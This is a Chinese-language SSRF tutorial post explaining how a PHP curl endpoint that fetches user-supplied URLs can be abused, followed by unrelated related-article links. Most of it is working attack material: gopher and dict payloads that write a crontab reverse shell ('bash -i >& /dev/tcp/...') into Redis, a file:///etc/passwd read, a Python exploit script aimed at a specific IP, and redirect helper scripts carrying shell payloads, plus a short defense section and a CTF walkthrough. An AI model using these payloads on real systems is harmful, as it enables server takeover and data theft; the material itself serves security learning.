0x00 前言

1)    SSRF的概念很好理解,请自行百度。

2)    JAVA/PHP/PYTHON都存在SSRF漏洞(至于其他语言的情况,了解粗浅尚不得知)。

3)    SSRF的利用方式很多,可参考猪猪侠的build_your_ssrf_exp_autowork,以及大佬博客。

4)    以下导图只是SSRF部分内容,导图中带√部分为本文涉及内容。

0x01 漏洞产生

以curl为例,漏洞代码为ssrf.php

  1. <?php
  2. $ch = curl_init();
  3. curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  4. #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5. curl_setopt($ch, CURLOPT_HEADER, 0);
  6. #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  7. curl_exec($ch);
  8. curl_close($ch);
  9. ?>

 

0x02 利用方式

首先查看curl的版本和该版本支持的协议

  1. [root@localhost html]# curl -V
  2. curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7
  3. libidn/1.28 libssh2/1.4.3
  4. Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp
  5. scp sftp smtp smtps telnet tftp
  6. Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-
  7. sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口,然后利用gopher协议访问

  1. [root@localhost ~]# nc -l -vv 2333
  2. Ncat: Version 6.40 ( http://nmap.org/ncat )
  3. Ncat: Listening on :::2333
  4. Ncat: Listening on 0.0.0.0:2333
  5. Ncat: Connection from 127.0.0.1.
  6. Ncat: Connection from 127.0.0.1:47726
  7.  
  8. [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?
  9. url=gopher://127.0.0.1:2333/_test'
  10.  
  11. [root@localhost ~]# nc -l -vv 2333
  12. Ncat: Version 6.40 ( http://nmap.org/ncat )
  13. Ncat: Listening on :::2333
  14. Ncat: Listening on 0.0.0.0:2333
  15. Ncat: Connection from 127.0.0.1.
  16. Ncat: Connection from 127.0.0.1:47726.
  17. test

可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问

  1. http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相关配置。

  1. http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问

  1. http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用

0x03 攻击应用

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell:

  1. echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1
  2. -p $2 -x set 1
  3. redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config
  4. set dbfilename root
  5. redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看SSRF in PHP:https://joychou.org/web/phpssrf.html。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:

  1. socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转
执行命令:

  1. bash shell.sh 127.0.0.1 4444
 

socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):

  1. [root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
  2. > 2017/05/25 07:16:51.991865 length=18 from=0 to=17
  3. *1\r
  4. $8\r
  5. flushall\r
  6. < 2017/05/25 07:16:51.992468 length=5 from=0 to=4
  7. +OK\r
  8. > 2017/05/25 07:16:51.995872 length=83 from=0 to=82
  9. *3\r
  10. $3\r
  11. set\r
  12. $1\r
  13. 1\r
  14. $56\r
  15.  
  16. */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
  17.  
  18. \r
  19. < 2017/05/25 07:16:51.996065 length=5 from=0 to=4
  20. +OK\r
  21. > 2017/05/25 07:16:51.998777 length=57 from=0 to=56
  22. *4\r
  23. $6\r

改成适配gopher协议的url:

  1. gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0
  2. a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333
  3. 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad
  4. ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$
  5. 10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq
  6. uit%0d%0a
 

再进行urlencode,得到payload:

  1. gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d
  2. %250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20
  3.  
  4. bash%20-
  5. i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
  6. %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
  7.  
  8. a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
  9. d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
  10. ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
  11. A1%250d%250a%244%250d%250aquit%250d%250a
 

最终的攻击poc为:

  1. curl -v 'http://127.0.0.1/ssrf.php?
  2. url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
  3. 250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
  4. A%20bash%20-
  5. i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
  6. %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
  7.  
  8. a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
  9. d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
  10. ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
  11. A1%250d%250a%244%250d%250aquit%250d%250a'
 

执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell

dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:

  1. import requests
  2. host = '104.224.151.234'
  3. port = '6379'
  4. bhost = 'www.4o4notfound.org'
  5. bport=2333
  6. vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
  7. _location = 'http://www.4o4notfound.org/302.php'
  8. shell_location = 'http://www.4o4notfound.org/shell.php'
  9. #1 flush db
  10. _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,
  11. port = port)
  12. exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
  13. print exp_uri
  14. print requests.get(exp_uri).content
  15. #set crontab command
  16. _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
  17. {bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
  18. exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,
  19. vul_httpurl=vul_httpurl)
  20. print exp_uri
  21. print requests.get(exp_uri).content
  22. #confg set dir
  23. _payload='?s=dict%26ip={host}%26port=
  24. {port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
  25. exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
  26. print exp_uri
  27. print requests.get(exp_uri).content
  28. #config set dbfilename
  29. _payload='?s=dict%26ip={host}%26port=
  30. {port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
  31. exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
  32. vul_httpurl=vul_httpurl)
  33. print exp_uri
  34. print requests.get(exp_uri).content
  35. #save
  36. _payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port
  37. = port)
  38. exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
  39. vul_httpurl=vul_httpurl)
  40. print exp_uri
  41. print requests.get(exp_uri).content  
 

因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:

  1. <?php
  2. $ip = $_GET['ip'];
  3. $port = $_GET['port'];
  4. $scheme = $_GET['s'];
  5. $data = $_GET['data'];
  6. header("Location: $scheme://$ip:$port/$data");
    ?> 

shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:

  1. <?php
  2. $ip = $_GET['ip'];
  3. $port = $_GET['port'];
  4. $bhost = $_GET['bhost'];
  5. $bport = $_GET['bport'];
  6. $scheme = $_GET['s'];
  7. header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
  8. i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
 

执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell

0x04 绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御:限制协议为HTTP、HTTPS

  1. curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
 

禁止30x跳转

  1. 删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 

设置白名单或限制内网ip

0x05 例题

一道ctf题目,有两个文件:ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过
curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求:

  1. POST /flag.php HTTP/1.1
  2. Host: 192.168.154.130
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Connection: keep-alive
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 14
  11.  
  12. username=admin
 

因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为

  1. header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
  2. 127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
  3. Gecko/20100101 Firefox/50.0%0d%0aAccept:
  4. text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
  5. zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
  6. deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
  7. Type: application/x-www-form-urlencoded%0d%0aContent-Length:
  8. 14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的。

Reference

https://joychou.org/web/phpssrf.html(三叶草)

https://www.t00ls.net/articles-41070.html(了解php/python/java中SSRF的利用)

SSRF-php初探的更多相关文章

  1. gopher 协议初探

    Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...

  2. Java安全之初探weblogic T3协议漏洞

    Java安全之初探weblogic T3协议漏洞 文章首发自安全客:Java安全之初探weblogic T3协议漏洞 0x00 前言 在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞 ...

  3. 初探领域驱动设计(2)Repository在DDD中的应用

    概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...

  4. CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探

    CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...

  5. 从273二手车的M站点初探js模块化编程

    前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...

  6. JavaScript学习(一) —— 环境搭建与JavaScript初探

    1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...

  7. .NET文件并发与RabbitMQ(初探RabbitMQ)

    本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...

  8. React Native初探

    前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...

  9. SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...

  10. 【手把手教你全文检索】Apache Lucene初探

    PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...

随机推荐

  1. canu软件文献

    1)背景 组装:短的reads通过overlap来组装成contig 局限性:repeat 大于overlap导致ambiguous reconstructions and fragment the ...

  2. 使用idea+gradle建立SSM项目

    目录: 一.创建一个gradle项目   二 .在gradle中创建SSM项目 一 .创建一个gradle项目 第一步: 打开我们的IDEA工具,选择创建一个新项目 第二步:这里会让你选择创建一个什么 ...

  3. js 中的正则表达式RegExp

    1.RegExp对象 1.1 RegExp对象实例的创建 正则表达式模式:     g:表示全局模式,即模式将被用于整个字符串,而非发现第一个匹配项时立即停止:     i:表示不区分大小写,忽略大小 ...

  4. 【Scheme】Huffman树

    (define (make-leaf symbol weight) (list 'leaf symbol weight)) (define (leaf? object) (eq? (car objec ...

  5. 第十章 优先级队列 (b1)完全二叉堆:结构

  6. Android 各个版本新特性

    一.Android 4.x 新锁屏界面: Android4.0重新设计了锁屏幕UI,下方的解锁虚拟按键向周围发射出微光,轻轻拖动就可以解锁,比原来在UI上确实有很大的进步. 全新Widget排列: 主 ...

  7. 对arm裸板调试的理解

    由于arm芯片一般都包含的由jtag调试这项功能,cpu向外部发出信号时,一般都要同jtag发送出去,它就像一个路口的交警一样,能够控制车辆的运行,当然在arm中指的是cpu发出的数据和地址,我们在调 ...

  8. c#: Noto Sans字体如何支持韩文

    1.源起: VCU10项目,使用了Noto Sans字体,的确漂亮.但验证在win7下,其显示韩文为乱码,颇为头痛. 其界面显示如图: 度娘之,得Noto Sans又有CJK字体,顾名思义,其为支持中 ...

  9. 关于Laravel框架

    第1讲-Laravel介绍 1.1 什么是Laravel laravel是目前一个比较主流的框架,现在很多互联网的公司都在使用该框架.该框架的前身是symfony框架 Laravel的定位就是做一个简 ...

  10. rbac集成 权限分配。之角色管理

    权限分配功能拆分: a. 角色管理 b. 用户管理 c. 菜单和权限的管理 d. 批量的权限操作 e. 分配权限 先实现 角色管理: 无非也就是,增删改查: 定义路由, 编写视图. 1.查看角色页面: ...